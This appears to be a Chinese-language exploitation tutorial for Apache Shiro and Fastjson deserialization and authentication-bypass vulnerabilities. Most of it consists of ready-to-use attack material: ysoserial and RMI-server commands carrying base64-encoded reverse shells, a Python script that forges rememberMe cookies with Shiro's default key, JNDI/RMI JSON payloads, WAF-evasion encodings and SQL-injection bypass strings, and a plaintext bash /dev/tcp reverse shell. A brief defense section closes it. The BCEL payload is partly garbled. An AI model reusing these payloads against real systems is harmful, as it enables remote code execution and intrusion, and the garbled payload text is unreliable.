shiro+fastjson整合利用
字数 2789 2025-08-19 12:41:58
Apache Shiro与Fastjson漏洞整合利用详解
一、Apache Shiro漏洞分析
1.1 Shiro框架概述
Apache Shiro是一个强大且易用的Java安全框架,提供四大核心功能:
- 认证(Authentication):用户身份识别
- 授权(Authorization):访问控制
- 会话管理(Session Management):用户会话管理
- 加密(Cryptography):数据保护
1.2 CVE-2010-3863:认证绕过漏洞
漏洞原理:
- Shiro 1.1.0以前版本未对URL进行标准化处理
- 攻击者可构造特殊路径绕过权限验证(如
/、//、/./、/../等)
影响版本:
- Shiro < 1.1.0
- JSecurity 0.9.x
复现步骤:
- 访问目标页面(如
IP:8080) - 尝试访问受保护路径(如
/admin) - 使用跨目录测试字典fuzz测试
1.3 CVE-2016-4437:反序列化漏洞(Shiro550)
漏洞原理:
- Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在
remember-meCookie中 - 攻击者可利用默认密钥伪造Cookie,触发Java反序列化漏洞
加密流程:
序列化 → AES加密 → Base64编码
解密流程:
Base64解码 → AES解密 → 反序列化
影响版本:
Apache Shiro <= 1.2.4
检测方法:
- 勾选"记住密码"选项后登录
- 抓包观察:
- 请求包中是否有
rememberme字段 - 响应包中是否有
Set-cookie:rememberMe=deleteMe字段
- 请求包中是否有
利用步骤:
- 使用
ysoserial生成JRMP监听:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}' - 使用
shiro-exploit.py获取默认key - 使用
shiro.py生成payload(需修改key):import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode())) - 替换数据包中的Cookie值为生成的
rememberMe
1.4 CVE-2020-1957:认证绕过漏洞
漏洞原理:
- Shiro与Spring Boot对URL解析不一致
- 攻击者可构造特殊URL绕过Shiro校验
影响版本:
Apache Shiro < 1.5.2
复现方法:
- 原始URL:
/admin(跳转到登录页面) - 绕过URL:
/xxx/...;/admin/
1.5 CVE-2019-12422(Shiro721)
环境搭建:
git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
检测方法:
- 观察响应包中的
rememberMe=deleteMe字段 - 使用Burp插件HaE、Logger++查看Shiro指纹
二、Fastjson漏洞分析
2.1 Fastjson概述
Fastjson是阿里巴巴的开源JSON解析库,主要功能:
- 将Java Bean序列化为JSON字符串
- 从JSON字符串反序列化到JavaBean
2.2 漏洞原理
Fastjson的反序列化机制允许通过@type指定反序列化类型,当解析恶意构造的JSON数据时,可能调用恶意类或方法,导致RCE。
关键概念:
@type字段:指定反序列化时应实例化的类- JNDI(Java Naming and Directory Interface):Java命名和目录接口
- RMI(Remote Method Invocation):远程方法调用
- LDAP(Lightweight Directory Access Protocol):轻量目录访问协议
2.3 JdbcRowSetImpl利用链
利用链流程:
- 设置
dataSourceName传给lookup方法 - 设置
autoCommit属性触发connect函数 connect触发lookup函数访问RMI服务
Exploit示例:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.17.39:9999/Exploit",
"autoCommit":true
}
2.4 版本探测方法
- 使用dnslog外带
- 通过报错信息判断版本
- 使用脚本快速探测版本
2.5 CVE-2017-18349 (Fastjson 1.2.24 RCE)
影响版本:
Fastjson <= 1.2.24
环境搭建:
cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d
复现步骤:
- 准备JDK 8环境
- 安装Maven:
apt-get install maven - 安装marshalsec:
git clone https://github.com/mbechler/marshalsec cd marshalsec mvn clean package -DskipTests - 启动RMI服务:
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.200.159 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNjAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" - 发送攻击payload:
python.exe fastjson-1.2.24_rce.py http://192.168.200.166:8090 rmi://192.168.200.159:9999/Object
2.6 CNVD-2019-22238 (Fastjson 1.2.47 RCE)
影响版本:
Fastjson < 1.2.48
Payload结构:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker_ip:9999/Exploit",
"autoCommit": true
}
}
三、WAF绕过技术
3.1 通用绕过方法
-
跳过参数验证:
- PHP:
?%20testid=select 1,2,3 - ASP:
?%testid=select 1,2,3
- PHP:
-
格式错误的HTTP请求:如将GET改为HELLO
-
HTTP参数污染:
test=select 1&select 2,3 from tables -
双重URL编码:
s → %73 → %25%37%33 -
特殊语法:
or 9=9 or 0x47 = 0x47 or char(32) = '' or 9 is not null 1/*union*/union/*select*/select+1,2,3/*
3.2 Fastjson WAF绕过
-
编码绕过:
{ "\x40\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true } -
特殊字符绕过:
_和-会被替换为空- 示例:
'd_a_t_aSourceName'
-
超大请求包:
{ "@type":"org.example.User", "username":"1", "f":"a*20000" //2万个a } -
空格与特殊字符:
- Fastjson会去除键、值外的空格、
\b、\n、\r、\f等 - 示例:
{/*s6*/"@type":"com.sun.rowset.JdbcRowSetImpl"} {\n"@type":"com.sun.rowset.JdbcRowSetImpl"} {"@type"\b:"com.sun.rowset.JdbcRowSetImpl"}
- Fastjson会去除键、值外的空格、
3.3 Shiro WAF绕过
- 协议转换:尝试POST请求
- 请求方法修改:如将GET替换为LOL
- 特殊字符:利用Host回车、TAB等
四、不出网利用技术
4.1 判断不出网
-
测试方法:
- 执行
curl http://xxx.ceye.io - 尝试反弹shell:
bash -i >& /dev/tcp/192.168.31.143/222 0>&1
- 执行
-
结果分析:
- 只有DNS有回显,没有HTTP回显 → 可能不出网
- 未接收到反弹shell → 可能不出网
4.2 不出网利用方法
- Tomcat BECL Payload:
{ "name": { "@type": "java.lang.Class", "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x": { "name": { "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "y": { "@type": "com.alibaba.fastjson.JSONObject", "c": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "
\[BCEL \]
\(l\)8b\(I$A$A$A$A$A$A\)A",
"\(ref": "\).x.y.c.connection"
}
}
}
}
2. **BCEL类加载**:
- 准备恶意Java类并编译
- 使用`com.sun.org.apache.bcel.internal.classfile.Utility`编码class文件
- 生成BCEL格式的payload
3. **内存马注入**:
- 使用工具如`fastjson-exp`注入内存马
- 实现命令回显功能
### 4.3 内网探测
利用curl实现SSRF探测:
```bash
curl -G -d 'user=marry' -d 'count=2' http://192.168.31.143:222
curl -b 'foo1=bar;foo2=bar2' http://192.168.31.143:222
curl -d 'login=admin&password=pass' -X POST http://192.168.31.143:222
五、防御建议
-
Shiro防御:
- 升级到最新版本
- 修改默认密钥
- 禁用rememberMe功能(如不需要)
-
Fastjson防御:
- 升级到最新安全版本
- 关闭autotype功能
- 使用安全模式(SafeMode)
-
通用防御:
- 部署WAF并定期更新规则
- 限制反序列化操作
- 实施最小权限原则